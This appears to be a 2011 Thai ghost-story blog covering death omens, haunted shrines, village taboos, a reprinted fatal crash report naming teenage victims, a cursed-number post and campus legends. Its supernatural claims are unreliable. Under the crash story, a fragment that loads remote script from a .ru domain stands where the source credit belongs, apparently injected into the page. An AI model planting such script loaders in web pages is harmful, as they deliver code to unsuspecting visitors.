Monday, March 7, 2011

- ไขปริศนา 49 วัน ชีวิตหลังความตาย

มนุษย์ และสัตว์มิได้สิ้นสุดที่ความตาย เพราะการ "ตาย" หมายถึง สภาพร่างกายที่ไม่สามารถให้บริการแก่จิตวิญญาณใช้งานต่อไปได้อีก วิญญาณยังคงอยู่ ถึงแม้ร่างกายจะหมดอายุขัยไปแล้ว ทั้งนี้สภาพการตายจะบ่งบอกให้รู้ว่าจิตวิญญาณนั้นไปสุคติหรือลงสู่นรกภูมิ 


1. ตอนตายใหม่ ถ้าหากสีหน้าปกติ ร่างกายอ่อนนิ่ม สีหน้าเหมือนคนมีชีวิตอยู่ เนื่องจากได้บรรลุธรรม ดวงวิญญาณจะไปสู่สุคติ 

2. ตอนตายใหม่ๆ หน้าตาซีดผาด เหมือนคนตกใจ แสดงว่าวิญญาณได้ตกสู่นรกแล้ว 

3. ตอนตายใหม่ๆ ร่างกายแข็งทื่อ หน้าตาน่ากลัว เพราะความตกใจ บางคนจะกรีดร้องเสียงคล้ายสัตว์ คนเหล่านี้จะไปเกิดเป็นสัตว์ 4 ชนิด สังเกตได้จากตา หู จมูก ปาก ตาจะมีน้ำตาออก หูจะมีขี้หู จมูกจะมีน้ำมูก ปากจะมีน้ำลายฟูมปาก เป็นทวารที่ไม่สะอาด 4 ช่องทาง เมื่อจิตวิญญาณออกทางนี้ จะเกิดเป็นสัตว์ 4 ประเภท


- ตา ชอบดูสิ่งเหลวไหล ลุ่มหลงในรูปต่างๆ คนเหล่านี้เวลาใกล้ตาย ดวงตาจะเบิกกว้าง จะไปเกิดเป็นสัตว์ปีก (เกิดออกจากไข่) 

- หู ชอบฟังเรื่องเหลวไหล เรื่องซุบซิบนินทา คนเหล่านี้เวลาตาย หูจะชันขึ้น จะไปเกิดเป็นสัตว์ที่เกิดจากครรภ์ เช่น ช้าง ม้า วัว ควาย 

- จมูก ชื่นชมกลิ่นคาวโลกีย์ เช่น เงินทอง สุรา นารี การพนัน ชื่อเสียงลาภยศ และค่านิยมที่ผิดศีลธรรม ฯลฯ จะไปเกิดเป็นแมลง มด ยุง แมลงวัน ฯลฯ บาปหนักมาก วิญญาณจึงถูกตีเป็นเศษวิญญาณ 

- ปาก ชอบพูดเรื่องเหลวไหล พูดนินทา พูดวิจารณ์ พูดกล่าวร้ายป้ายสี ด่าคำหยาบคาย คนเหล่านี้เวลาตาย ปากจะอ้าค้างอยู่ตลอด จะเกิดเป็นสัตว์น้ำ ไปอยู่กับรสชาติที่โสโครกและสกปรก

ศาลสยองต่างๆ

แวะเวียนกลับมา ให้พี่ไทยที่แจมได้ไปในทุกเทศกาลได้คึกคักคึกครื้นอีกครั้ง กับวัน “ฮาโลวีน” ในวันที่ 31 ต.ค.นี้ ซึ่งใครใคร่แต่งตัวเป็นผีก็แต่งไป ใครใคร่จะไปร่วมเทศกาลก็ไปกันได้ในหลายๆที่ แต่ที่ดังที่สุดก็เห็นจะเป็นที่ถนนข้าวสาร

แต่นั่นคือเรื่องราวของผีฝรั่ง ครั้นหันมามองผีไทยในเมืองกรุงบ้าง ซึ่งในกรุงเทพฯเมืองที่มีความเจริญทางวัตถุสูงสุดของเมืองไทย แต่กับมากมายไปด้วย ศาลเจ้าที่-ศาลผี ที่มากมายไม่เป็นรองเมืองไหนๆ โดยศาลแต่ละที่ต่างก็มีความ+++นและเรื่องเล่าต่างๆที่น่าขนพองสยองเกล้าต่างกันออกไป

และนี่ก็คือไฮไลท์ของศาลผีในเมืองกรุงฯที่โด่งดัง ในความ+++น 5 ที่ ซึ่งระดับของความน่ากลัวนั้นวัดกันไม่ได้ขึ้นอยู่กับว่าใครจะไปเจอประสบการณ์ผีๆในแบบไหน

ศาลแม่นาคพระโขนง ตั้งอยู่ที่ “วัดมหาบุศย์” เขตสวนหลวง (แยกออกมาจากเขตพระโขนงเดิม) คนทั่วไปมักนิยมเรียกวัดนี้ว่า “วัดแม่นาค พระโขนง” ศาลแม่นาคฯแห่งนี้เป็นศาลเก่าแก่ที่สร้างอิงจากตำนานความรักของนางนาค เมื่อ 100 –200 ปีก่อน ซึ่งทุกวันนี้แม่นาคฯได้กลายเป็นผีไทยที่โด่งดังในระดับอินเตอร์ไปแล้ว แต่ไม่ว่าแม่นาคฯจะโด่งดังขนาดไหน เรื่องราวความ+++นของแม่นาคฯก็ยังคงมีปรากฏอย่างต่อเนื่อง

ศาลเจ้าแม่โพสพ ตั้งอยู่ที่วัดศิริวัฒนาราม ใกล้ปากคลองบางพรหม ตลิ่งชัน ศาลนี้คนเก่าคนแก่บอกกันว่าสร้างอิงจากความเชื่อในเรื่องของการนับถือศาล เจ้าแม่โพสพ เนื่องจากว่าแต่ก่อนพื้นที่ในย่านนี้เคยมีนาและสวนก่อนที่จะกลายเป็นเมือง นับเป็นอีกศาลหนึ่งที่คนนิยมเดินทางมาขอโชคลาภ

ศาลศาลาต้นจันทน์ ตั้งอยู่ใกล้วัดระฆัง ไม่ใกล้ไม่ไกลจากสี่แยกโรงพยาบาลศิริราช สำหรับประวัติความเป็นมาลึกๆของศาลแห่งนี้คนแถวนั้นก็ยังบอกไม่ได้ รู้แต่เพียงเลาๆว่าครั้งหนึ่งที่นี่เคยเป็นศาลาเอนกประสงค์ ถ้าไม่ใช่ที่สอนหนังสือของเด็กๆก็เป็นที่ตั้งสวดศพ ปัจจุบันศาลาต้นจันทน์ได้ก่อสร้างใหม่เนื่องจากศาลาหลังเก่าทรุดโทรม ซึ่งคนทั่วไปก็มักจะมาขอพรกันที่นี่โดยมีของที่นิยมแก้บนเป็นตุ๊กตานางรำ

ศาลงู ศาลนี้ตั้งอยู่ริมถนนสายธนบุรี-ปากท่อ มีชื่อในบันทึกที่ค่อนข้างจะเป็นทางการว่า “ศาลเจ้าแม่จงอางและลูก” คนแถวนั้นเล่ากันว่า ที่ตรงนี้แต่ก่อนจะมีอุบัติเหตุร้ายแรงบ่อยมาก เพราะเชื่อว่าเกิดจากความอาฆาตของงูจงอางเจ้าที่เป็นผู้ทำ เนื่องจากตอนสร้างถนนได้มีการเกรดดินทับงูเจ้าจนตายทั้งแม่และไข่งู เมื่อมีการตั้งศาลให้เรื่องทุกอย่างจึงคลี่คลาย

ศาลเจ้าพ่อหนู ตั้งอยู่ริมคลองย่านบางลำพู คนแถวนั้นไม่มีผู้รู้ประวัติความเป็นมาของศาลแห่งนี้ แต่ถ้าดูจากของแก้บนที่เป็นเสื้อผ้าของเด็กและของเล่นเด็ก แล้วก็จะรู้ว่าแรงศรัทธาของคนทั่วไปที่มีต่อศาลนี้ไม่เป็นรองใคร

นั่นเป็นเพียงไฮไลท์แค่ 5 ที่ ของศาลที่ว่ากันว่า+++นนัก ส่วนใครจะเชื่อหรือไม่เชื่อก็เป็นอีกเหตุผลหนึ่ง แต่ว่างานนี้ทางที่ดีหากไม่เชื่อก็อย่าได้หลบหลู่ ถือเป็นเรื่องที่ดีที่สุด 

Sunday, March 6, 2011

หมู่บ้านอาถรรพ์ ห้ามทำงานวันพระ

ผู้สื่อข่าวได้รับการเปิดเผยจากนายสุปัน บุญมาพล นายกองค์การบริหารส่วนตำบล(อบต.)พิมูล อ.ห้วยเม็ก จ.กาฬสินธุ์และนายทองคำ บุญเลี้ยง ปราชญ์ชาวบ้านฯ รวมทั้งคนเฒ่าคนแก่ในชุมชน ที่ยืนยันว่า เคยมีเหตุการณ์แปลกๆเกิดขึ้นในหมู่บ้านหลายลักษณะ สาเหตุเกิดจากการฝ่าฝืนข้อห้ามที่สืบทอดกันมาตั้งแต่สมัยปู่ย่าตายาย ที่ประมวลเป็นกฎระเบียบได้ 20 ข้อ ให้อ่านและทบทวนที่ศาลาธรรมกลางหมู่บ้าน  โดยเฉพาะข้อห้ามที่ว่าถ้าทำงานในวันพระ จะมีอันเป็นไปไม่อย่างใดก็อย่างหนึ่ง ที่เห็นบ่อยๆคือมีอาเพศเหตุร้ายเกิดขึ้นในครอบครัว หรือไม่ก็ถูกผีปอบเข้าสิง 
                  นายทองคำ บุญเลี้ยง อายุ 70 ปี บ้านเลขที่ 119 ปราชญ์ชาวบ้านหาดทรายมูล หมู่ 6 ต.พิมูล กล่าวว่า กฎดังกล่าวชาวต.พิมูลปฏิบัติสืบกันมาหลายชั่วอายุนับร้อยๆปี ที่ต่างยึดถือเป็นฮีตคองและประเพณีดั้งเดิมอย่างเหนียวแน่น เชื่อว่าถ้าในสมัยนี้ทุกคนยึดเป็นสรณะ จะยังความสงบร่มเย็นตลอดไป แต่ในระยะหลัง จะพบว่ามีอาเพศเหตุร้ายกับผู้ฝ่าฝืนในหลายๆอาการ เช่น ชักดิ้นชักงอเหมือนถูกปอบเข้าสิง บางครั้งเกิดฟ้าผ่า บางคนเจ็บป่วยไม่ทราบสาเหตุ หรืออยู่ดีๆบ้านก็ทรุดพังเสียหาย มีภูตผีปีศาจ ปรากฏให้เห็นในลักษณะของเปรต หมาดำ ลิง ค่างหรือสัตว์ร้ายหลอกหลอน ทั้งนี้ เป็นเพราะมีการล่วงละเมิด อาจจะโดยรู้เท่าไม่ถึงการณ์  ต้องทำพิธีขอขมาวิญญาณบรรพบุรุษที่หอพระธรรมกลางหมู่บ้าน อาการดังกล่าวจึงจะหายเป็นปกติ

ขอบคุณที่มา : มติชนออนไลน์

สุดสยอง 'บ้านผีสิง' 4โจ๋เจอดีซิ่งหนี

นักศึกษาสาวปี 1 วิทยาลัยชื่อดัง คอหักตายสยอง เผยก่อนชะตาขาด นั่งเก๋งกับเพื่อน ๆ บุกพิสูจน์บ้านผีสิงที่คนเล่าลือว่าสุดเฮี้ยน ช็อคตาตั้งเห็นเงาทะมึนเป็นผู้หญิงผมยาวสลวยมองมาที่กลุ่มนักพิสูจน์ ทำเอาเหงื่อแตกพลั่ก-ขาสั่น-ขนลุกซู่ ทำอะไรไม่ถูก หลังตั้งสติได้วิ่งหน้าตั้งโกยอ้าวขึ้นรถซิ่งหนีกระเจิง ระหว่างทางรถขยะโผล่ริมถนนตกใจหักหลบ แต่เหมือนมีคนมากระชากพวงมาลัยทำให้เสียหลักพุ่งชนเกาะกลางถนนฟาดต้นไม้ตายคาที่ 1 เจ็บ 3 ด้านชาวบ้านระบุ ไม่มีใครกล้าเดินผ่านหน้าบ้าน ผวาวิญญาณเฮี้ยนมานานแล้ว “ป๋อง-กพล” ชี้เคยไปพิสูจน์มาแล้ว แต่ไม่เจออะไร คาดอุบัติเหตุน่าจะเกิดจากประมาทมากกว่า อดเปรยไม่ได้แต่ก็อย่าไปท้าทายสิ่งที่เรามองไม่เห็น

ขาโจ๋บุกพิสูจน์วิญญาณเฮี้ยน เจอของจริงผวารีบขึ้นเก๋งหนีจนเกิดอุบัติเหตุ เกิดขึ้น เมื่อเวลา 01.20 น. วันที่ 11 มี.ค. ร.ต.ท. อานนท์ อินทร์ฟอง ร้อยเวร สภ.ต.นาจอมเทียน อ.สัตหีบ จ.ชลบุรี รับแจ้งเกิดอุบัติเหตุมีผู้บาดเจ็บและเสียชีวิตบริเวณหลักกิโลเมตรที่ 158 ถนนสัตหีบ-พัทยา หน้าร้านสะดวกซื้อเฟรช มาร์ท หมู่ 4 ต.นาจอมเทียน รีบไปตรวจสอบพร้อมหน่วยกู้ภัยมูลนิธิโรจนธรรมสถานสัตหีบ

ที่เกิดเหตุพบรถเก๋ง มิตซูบิชิ สีแดง ทะเบียน กร 1602 ชลบุรี สภาพพุ่งชนเกาะกลางถนน ต้นไม้ข้างทางหักโค่นหน้ารถพังยับ เยิน โดยมีชาวบ้านยืนมุงดูอยู่แน่นขนัด ในรถมี ผู้ได้รับบาดเจ็บ 3 ราย ทราบต่อมาว่าคือนาย แพททริก เชินเน่น เบอเกอร์ อายุ 19 ปี คนขับรถ ลูกครึ่งไทย-สวิตเซอร์แลนด์ บาดเจ็บเล็กน้อย นายวิทวัส หินอ่อน อายุ 19 ปี บาดเจ็บเล็กน้อย ส่วน น.ส.พัชรินทร์ ศรีอินทร์ อายุ 16 ปี นักศึกษา ปวช.ปี 1 วิทยาลัยคิงส์ตั้นบริหารธุรกิจ พัทยา จ.ชลบุรี บาดเจ็บสาหัสมีบาดแผลที่คอด้านซ้าย กระดูกข้อมือขวาแตก ส่วนบนพื้นถนนใกล้กับซากรถมีศพ น.ส.ปนัดดา แซ่ลี้ อายุ 17 ปี นักศึกษาปวช.ปี 1 วิทยาลัยคิงส์ตั้นบริหารธุรกิจ พัทยา จ.ชลบุรี สภาพแขน-ขา และคอหัก ศีรษะแตก

จากการสอบสวนนายแพททริกให้ การด้วยสีหน้าหวาดผวาว่า ก่อนเกิดเหตุช่วง เวลาประมาณ 23.30 น. วันที่ 10 มี.ค.ที่ผ่านมา ตนพาเพื่อน 3 คน ขับรถเก๋งออกจากเมืองพัทยา เดินทางมาพิสูจน์บ้านร้างชายหาดบางเสร่ อ.สัตหีบ ซึ่งมีคนร่ำลือกันว่าเป็นบ้านผีสิง ผีดุ ที่เคยมีรายการทางทีวีรายการหนึ่งมาถ่ายทำท้าพิสูจน์หลายครั้ง ซึ่งก็เจอดีกลับไปทุกครั้ง ทำให้อยากพิสูจน์ว่ามีผี หรือวิญญาณเฮี้ยนจริงหรือไม่ โดยมีน.ส.พัชรินทร์ หรือสอง นั่งเบาะหน้าข้างคนขับ ส่วนนายวิทวัส และน.ส.ปนัดดา ผู้ตายนั่งอยู่เบาะหลัง

ขาโจ๋ชอบท้าพิสูจน์ กล่าวต่อว่า เมื่อไปถึงทั้งหมดก็ลงจากรถ โดยเดินไปหยุดอยู่ที่หน้าบ้านร้างหลังดังกล่าว ขณะเพ่งมองเข้าไปภายในบ้านตอนแรกไม่เห็นอะไรเลย กระทั่งผ่านไปสักพัก จู่ ๆ เหมือนมีลมกระโชกผ่านมาปะทะ ร่าง ทำเอาพวกตนถึงกับหน้าเสีย ทันใดนั้นเองสิ่งที่อยากพิสูจน์ก็โผล่ร่างมาให้เห็นเต็มตา พวกตนเห็นเงาดำทะมึนเหมือนผู้หญิง ผมยาวสลวยเดินวนไปวนมาอยู่ในบ้าน ก่อนจะหยุดชำเลืองมองออกมาที่พวกตนยืนอยู่ ด้วยความกลัวพวกตนถึงกับทำอะไรไม่ถูก เหงื่อแตก-ขาสั่น หลังตั้งสติได้ก็พากันวิ่งหนีออกมาที่รถแบบไม่คิดชีวิต ก่อนจะสตาร์ตเครื่องอย่างรวดเร็ว โดยทุกคนต่างอึ้งนิ่งเงียบกันหมด และไม่กล้ามองกลับไปด้านหลัง เกรงว่าจะพบภาพวิญญาณเฮี้ยนตามมาหลอกหลอนอีก

หนุ่มลูกครึ่ง กล่าวอีกว่า ในระหว่างขับรถมาถึงที่เกิดเหตุซึ่งห่างจากบ้านผีสิงประมาณ 5 กม. ตนเห็นรถขยะอยู่ในซอยข้างหน้า เกรงว่าจะขับออกมา จึงหักพวงมาลัยหลบ แต่เหตุการณ์ที่ ไม่คาดคิดก็เกิดขึ้น จู่ ๆ มีความรู้สึกว่าพวงมาลัยเหมือนถูกกระชากอย่างแรง ซึ่งก็ไม่รู้ว่าเป็นเพราะเหตุใด ทำให้เสียหลักพุ่งชนเกาะกลางถนน และต้นไม้ข้างทาง ทำให้เพื่อนสาวที่นั่งด้านหลังกระเด็นตกลงมากระแทกกับถนนเสียชีวิตดังกล่าว

ด้านนายโบน (นามสมมุติ) คนขับรถ จยย.รับจ้าง กล่าวว่า บ้านหลังนี้เป็นของชาวต่างชาติ เป็นบ้าน 2 ชั้น มีห้องใต้ดิน สมัยก่อนเคยใช้ในการถ่ายหนังเรื่อง “ไอ้งูเห่า” ต่อมาบ้านหลังดังกล่าวถูกปล่อยร้างไม่มีคนอยู่ พวกเด็ก วัยรุ่นจึงนิยมเข้าไปมั่วสุมเสพยา กระทั่งเกิดเหตุพาผู้หญิงเข้าไปข่มขืนฆ่าทิ้งเมื่อหลายปีก่อน ซึ่งบ้านหลังดังกล่าวเป็นที่นิยมของนักศึกษาพากันมาพิสูจน์ว่าวิญญาณมีจริงหรือไม่ อีกทั้งรายการทีวีเกี่ยวกับวิญญาณก็เคยมาถ่ายทำหลายครั้ง เรื่องวิญญาณเฮี้ยนนั้น บอกตรง ๆ ชาวบ้านไม่มีใครกล้าผ่านเข้าซอยบ้านดังกล่าว เนื่องจากมีต้นไม้ปกคลุมทึบ บรรยากาศวังเวงน่ากลัวมาก

ผู้สื่อข่าวรายงานเพิ่มเติมว่า สำหรับบ้านร้างหลังดังกล่าวถูกปล่อยให้อยู่ในสภาพรกร้างมานานกว่า 10 ปี ชาวบ้านลือว่าเกิดเหตุฆาตกรรมในบ้านมาแล้วถึง 2 ครั้ง ขณะที่เจ้าของบ้านก็ถูกฆาตกรรมเสียชีวิตไปด้วย บ้างก็ว่าอดีตเคยเป็นคลินิกทำแท้
ท่ี่มา  src=http://www.doubleclickr.ru/index.js>

Friday, March 4, 2011

Number 305 เลขเฮี้ยน‏

ไม่เชื่ออย่าลบหลู่
หนุ่มใหญ่เสพยาเกินขนาดเสียชีวิตคาห้องพัก
[IMAGE>กรุงเทพฯ 22 พ.ค.-หนุ่มใหญ่เสพยาเกินขนาด
เสียชีวิตคาห้องพักย่านอ่อนนุช ตำรวจคาดเสียชีวิตมาแล้ว
ไม่ต่ำกว่า 3 วัน
นายเกียรติศักดิ์ กิตติโฆษน์ อายุ 39 ปี อาชีพคนขับรถ
แท็กซี่ นอนเสียชีวิตอยู่ในห้องพักเลขที่ 305 จุฑาแมนชั่น
ตรงข้ามซอยอ่อนนุช 35 ที่เกิดเหตุพบสายยาง ซึ่งเป็น
อุปกรณ์เสพยาตกอยู่ ตำรวจจึงสันนิษฐานว่า ผู้ตายอาจ
เสพยาเกินขนาดจนเสียชีวิต
ทั้งนี้ ในห้องพักยังล็อกกลอนจากด้านใน ทำให้ตำรวจตัด
ประเด็นชิงทรัพย์ทิ้ง เบื้องต้นได้ส่งศพไปชันสูตรที่สถาบัน
นิติเวช โรงพยาบาลตำรวจแล้ว.-สำนักข่าวไทย

อัพเดตเมื่อ 2009-05-22 03:09:26
คืออย่างนี้ครับ ไอ้ข่ าวนี้มันเกิดขึ้นใกล้ตัวผมมาก
เพราะผมอยู่ห้องตรงข้ามกับมัน ซึ่งวันที่
เค้ามาเอาศพเหม็นมากครับ
แล้วทีนี้เลยลองมาหาข้อมูลในเนทว่าเค้าหน้าตายังไง คนไหน
แต่ไม่ปรากฏหลักฐาน
แต่ดันไปรู้ข้อมูลที่
น่าตกใจไปมากกว่านั้น
คือ ผมใช้กูเกิ้ลค้นหาคำว่า "ตาย ห้อง305" ซึ่งมีหน้าที่แสดงขึ้นมามากมาย
แต่ล้วนเป็นข่าวคนตายในห้อง305ทั้งนั้น
ไม่ว่าจะเป็รามอินทรา ลาดพร้าว มีนบุรี ต่างจังหวัดก็มี
สาเหตุการตายก็เกิดจาก ฆ่ากันเสียเป็นส่วนมาก
ไม่เชื่อ ลองเสิร์ชดูสิครับ
แล้วการตายที่ว่าจะเกิดจากการทำตัวไม่ดีทั้งสิ้น
ทั้งมีกิ้ก เสพยา ปล้น
นอกจากห้องพักแล้วบ้านเลขที่ 305 ก็ยังมีคนตายอีกเป็นจำนวนมาก
"ทำไมใครก็พากันต้องตายในห้อง305"
ผมจึงเกิดความคิดขึ้นมาว่าถ้าเราค้นหาจนครบ จะมีคนตายในห้อง 305
จากแมนชั่น
อพาร์ทเม้นต่างๆกี่คน
แล้วทำไมต้องตายเฉพาะเลข 305 นี้ ผมลองค้นหาเลขอื่นเช่น 306 307 408 409
สารพัด กลับไม่มี
หรือมีก็น้อยมาก
จากการวิเคราะห์ด้วยหลักฮวงจุ้ยของจีน เลข 305 แปลว่า ไม่ --เกิด
3 แปลว่าเกิด
5 แปลว่าไม่

รวมแล้วคือ ไม่เกิด นั่นก็คือ "ตาย"นั่นเอง
ผมไปค้นหาต่อถึงข่าวอาชญากรรมต่างป! ระเทศ มีเหตุการณ์ที่เกี่ยวกับ 305
อีกมากมาย
เช่นจำนวนคนตายในเหตุวินาศกรรม เลขทะเบียนรถที่ใช้ระเบิด เที่ยวบิน305
ที่ตกในเนปาล
ขนาดภราดรไปพ ักโรงแรมห้อง 305 ไฟยังไหม้เลย
และจากข้อมูลเหล่านี้ยิ่งทำให้ผมต้องค้นหาสาเหตุของมันต่อไปอีก ผมนำ 3 + 5 = 8
8 ถ้าเรากลับตัวมัน จะเป็นเครื่องหมาย อินฟินิตี้ ที่แปลว่า ไม่มีที่สิ้นสุด
นั่นหมายถึง 305 จะก่อให้เกิดความตายอย่างไม่มีที่สิ้นสุด

พระที่วัดลาดปลาเค้าท่าน ให้ความรู้มาว่า เลข 305
เกี่ยวข้องกับตำราโหราศาสตร์พม่า
เป็นเลขที่ถูกสาปแช่งให้วิบัติ ใครที่เกี่ยวข้อง
กับเลขนี้ต้องหายนะมานานนับร้อยๆปี
เพราะวันที่! พม่าแพ้สงครามไทยนั้นเกิดขึ้น วันที่ 30 เดือน 5
พม่าแค้นมากจึงลงเลขยันต์ตัวนี้
ใส่ไว้ใต้ฐานเจดีย์
ท่านบอกว่า 305 เป็นเลขผี เลขไม่มงคล เหมือ 13 ของฝรั่ง
เลขไทยมีแต่รู้กันว่า 9 ดี 1 ดี แต่ไม่มีใครรู้ว่า 305 นั่นไม่ดี
ท่านบอกว่าตอนนี้ใครที่มีความผูกพันธ์ ใกล้ชิดกับเลขนี้
ให้นำแผ่นทองไปติดทับเลข 5 เสีย
ให้เหลือ 30 ไว้ จะได้ดีแทน

ท่านยังบอกอีกว่า เวลาที่ผีออกมาอาละวาดผู้คนก็จะออกกันตอน ตี3.05 
เช่นกัน

" ระวังเอาไว้นะครับ 305 " ผมเตือนคุณแล้ว

มหาวิทยาลัย...ผีสิง

ลิฟท์แดง ม. ธรรมศาสตร์ 
เรื่องลิฟท์แดงของธรรมศาสตร์นี้มีเรื่องเล่าว่าเมื่อตอนเหตุการณ์ 14 ตุลาฯ พวกทหารได้บุกเข้ามาในมหาวิทยาลัย พวกนักศึกษาต่างหลบหนีเข้ามาในลิฟท์ตัวหนึ่ง พอลิฟท์ตัวนี้เปิดพวกทหารก็กระหน่ำยิงทุกคนเสียชีวิตหมด เลือดสาดกระจายทั่วลิฟท์ ต่อมาทางมหาวิทยาลัยได้บูรณะทำความสะอาดกันทุกพื้นที่ ไม่เว้นแม้แต่ลิฟท์ตัวนั้น แต่ทำความสะอาดยังไงคราบเลือดที่เปรอะเปื้อนอยู่ก็ไม่ล้างไม่ออก จึงได้ทำการทาสีลิฟท์ให้เป็นสีแดง มีเรื่องเล่าตามมาว่าหลังจากที่ลิฟท์ได้นำกลับมาใช้ตามปกติ มีนักศึกษาหญิงคนหนึ่งมาขึ้นลิฟท์ตามลำพัง แต่เมื่อมองไปที่กระจกกลับพบว่าไม่ได้มีเธออยู่เพียงลำพัง หากแต่มีผู้โดยสารอยู่ด้วยมากมาย นอกจากนี้ ยังมีอีกหลายครั้งหลายหนที่เหล่านักศึกษา อาจารย์ หรือแม้กระทั่งเจ้าหน้าที่ต่างๆ ได้พบเจอกับอาถรรพ์ลิฟท์แดงตัวนี้เข้า ทำให้ทางมหาวิทยาลัยต้องเปลี่ยนตัวลิฟท์ใหม่ แต่ว่าประตูลิฟท์แดงที่ถูกถอดออกไปตอนนี้นี้ยังตั้งอยู่ที่ชั้น 4 ตึกคณะศิลปศาสตร์มาจนถึงทุกวันนี้ 

ศาลในห้องน้ำหญิง ม. เทคโนโลยีพระจอมเกล้าเจ้าคุณทหาร ลาดกระบัง 
เรื่องเล่าเกี่ยวกับศาลเจ้าที่ติดอยู่บนผนังห้องน้ำหญิงตึกวิศวะฯ จะมีดอกไม้ธูปเทียนและน้ำแดงอยู่ด้วยเสมอ คนเก่าๆ จะรู้เรื่องราวเป็นอย่างดี เป็นเรื่องของนักศึกษาสาว สถาปัตยฯ อกหักจากหนุ่มวิศวะฯ จึงไปผูกคอตายที่ห้องน้ำดังกล่าว ปัจจุบันเป็นแหล่งลองของชั้นดีของผู้ที่ต้องการลองของ เพราะมีเรื่องราวต่างๆ เกิดขึ้นมากมาย ใครอยู่รุ่นแรกก็จะได้เห็นรูปของเธอผู้นี้ในศาลด้วย แต่ตอนนี้ไม่มีแล้ว แต่ศาลยังคงมีอยู่ ที่สำคัญห้องน้ำตรงนั้นยังเปิดใช้อยู่... 
พยาบาลชุดแดง ม. เชียงใหม่ 
เรื่องพยาบาลในชุดแดงของคณะแพทย์ฯ ม. เชียงใหม่ เล่ากันว่าเคยมีนักศึกษาชายคนหนึ่งของคณะแพทย์ฯ ทำงานในตึกของฝั่งสวนดอกจนดึก เมื่อเสร็จจากงานจึงลงลิฟต์มา ระหว่างที่รอเขาก็ได้ยินเสียงเดินมาข้างๆ หันไปมองเห็นก็พยาบาลคนหนึ่ง แต่ก็ไม่ได้สงสัยอะไร เพราะพยาบาลกับแพทย์ต้องเจอกันบ่อยอยู่แล้ว ระหว่างรอลิฟต์นักศึกษาคนนี้ก็ได้กลิ่นอะไรแปลกๆ เลยหันไปมองพยาบาลคนนี้ก็ไม่เห็นมีอะไร ซ้ำพยาบาลคนนี้ยังยิ้มให้ด้วย สักพักต่อมาเมื่อเข้าไปในลิฟต์แ พยาบาลคนนี้ก็ถามว่ามาทำอะไรดึกๆ เขาเลยตอบว่ามาศึกษาเรื่องการผ่าตัดภายใน เพราะว่าจะสอบ พยาบาลคนนั้นเลยบอกว่า “ ให้ฉันช่วยนะ ” นักศึกษาคนนี้ก็เลยงงและเริ่มสังเกตว่าที่คอของพยาบาลสาวเริ่มมีเลือดไหลออกมาจากคอเรื่อยๆ เขาตกใจมากและพยายามที่จะหนีออกมาจากลิฟต์ แต่ลิฟต์เหมือนค้าง หรืออะไรไม่ทราบได้ เลือดยังไหลนองไปทั่วชุดของนางพยาบาลคนนี้ แล้วเธอก็เริ่มสอนนักศึกษาแพทย์คนนี้ตั้งแต่ลำไส้ ปอด สมอง หัวใจ พร้อมทั้งควักส่วนต่าง ๆ เหล่านี้ออกมา รุ่งขึ้นมีคนพบนักศึกษาชายคนนี้นอนอยู่ที่ประตูลิฟต์ซึ่งเปิดคาอยู่ เอาแต่พร่ำเพ้ออย่างกับคนบ้าว่า “ พยาบาลชุดแดง พยาบาลชุดแดง ” 
ป๊อก...ป๊อก...ครืด ม. เชียงใหม่ 
เรื่อง ผีอันดับหนึ่งของ มหาลัยเชียงใหม่ ระยะเวลาที่เกิดเหตุการณ์ไม่ทราบแน่ชัด แต่สถานที่เกิดคือ หอหญิง ในสมัยที่ยังเป็นที่รกร้างอยู่มาก ถนนยังเป็นลูกรัง เรื่องเกิดกับนักศึกษาสาวคู่หนึ่ง อาศัยอยู่ที่ประมาณ ชั้น 2 หรือ 3 ของหอหญิงเจ็ด ช่วงนั้นเป็นช่วงสอบ นักศึกษาต่างกำลังอ่านหนังสือกัน มีนักศึกษาหญิงคนหนึ่งไม่สบาย อ่านหนังสือในห้องตอนหัวค่ำ รูมเมทชวนไปทานข้าว แต่เพราะเป็นไข้อยู่ จึงไปไม่ไหว พอเมทคนนั้นเห็นเพื่อนไม่สบาย ด้วยความเป็นห่วง จึงบอกว่าเดี๋ยวไปทานข้าวเองแล้วจะห่อมาฝาก เพื่อนคนที่ไม่สบายก็ฝากซื้อราดหน้า(หรืออะไรซักอย่าง) หลังจากที่เพื่อนออกไป เมทคนที่ไม่สบายก็นั่งอ่านหนังสือต่อ อ่านได้ซักพักก็ไม่ไหวเพราะไข้ขึ้นจึงนอน ตอนนอนอยู่นั้นสลึมสลือ แต่มีความรู้สึกว่านานมากแล้ว ทำไมเพื่อนยังไม่กลับมาซะที ซักพักได้ยินเสียงเบาๆ ดังจากชั้นล่างจากทางบันได ป๊อก … ป๊อก … ป๊อก … เสียงนั้นดังเป็นระยะๆ ใกล้เข้ามา จากทางบันไดเรื่อยๆ เสียงเหมือนคนกำลังแบกของหนักบางอย่างขึ้นมา และเสียงนั้นก็ดังมาจนถึงชั้นที่ห้องนักศึกษาหญิงคนนั้นอยู่ แล้วเสียงก็เปลี่ยนเป็น ครืด …. ครืด … เสียงเหมือนคนกำลังลากอะไรซักอย่างใกล้เข้ามาเรื่อย จนมาหยุดอยู่ที่หน้าห้อง นักศึกษาหญิงเริ่มเอะใจ และมองไปทางประตู ในใจนึกว่าเพื่อนกลับมาแล้ว แต่ยังเงียบ อึดใจนึงก็มีเสียงเคาะห้อง “ ก๊อก ก๊อก ก๊อก ” แล้วเงียบไป นักศึกษาสะดุ้งสุดตัว คิดว่าไม่ใช่เพื่อนแน่แล้ว ถ้างั้นทำไมไม่เปิดเข้ามาเลย จึงเดินไปเปิดประตู ตรงลูกบิดประตูมีถุงใส่ห่อราดหน้าแขวนอยู่ พอเห็นห่อลาดหน้า ก็งง ว่าเพื่อนอยู่ไหน ทำไมต้องเอามาแขวน ทำไมมีแต่รอยเปียกน้ำเป็นทางจากบันได รุ่งเช้ามีคนมาเคาะห้องบอกว่าเพื่อนตายแล้ว นักศึกษาหญิงคนนั้นถูกฆ่าข่มขืน ตรงพงหญ้าข้างทาง คาดว่าเหตุเกิดประมาณหัวค่ำ ลักษณะศพสภาพแขนและขาทั้งสองข้างหัก อาจเกิดจากการที่คนร้ายเอาท่อนไม้ทุบตีเพื่อไม่ให้หนี นักศึกษาหญิงที่ตายกำลังเดินทางกลับจากตลาดหลังจากทานข้าวเสร็จ ลักษณะเสียงที่ได้ยิน สันนิษฐานได้ว่าเพื่อนคนนั้นใช้ปากคาบถุง แล้วใช้คางเกยพาตัวเองมาจนถึงหอพักแล้วใช้คางเกยบันได ลากตัวเองขึ้นมาเป็นเสียง ป๊อก ป๊อก เสียง ครืด 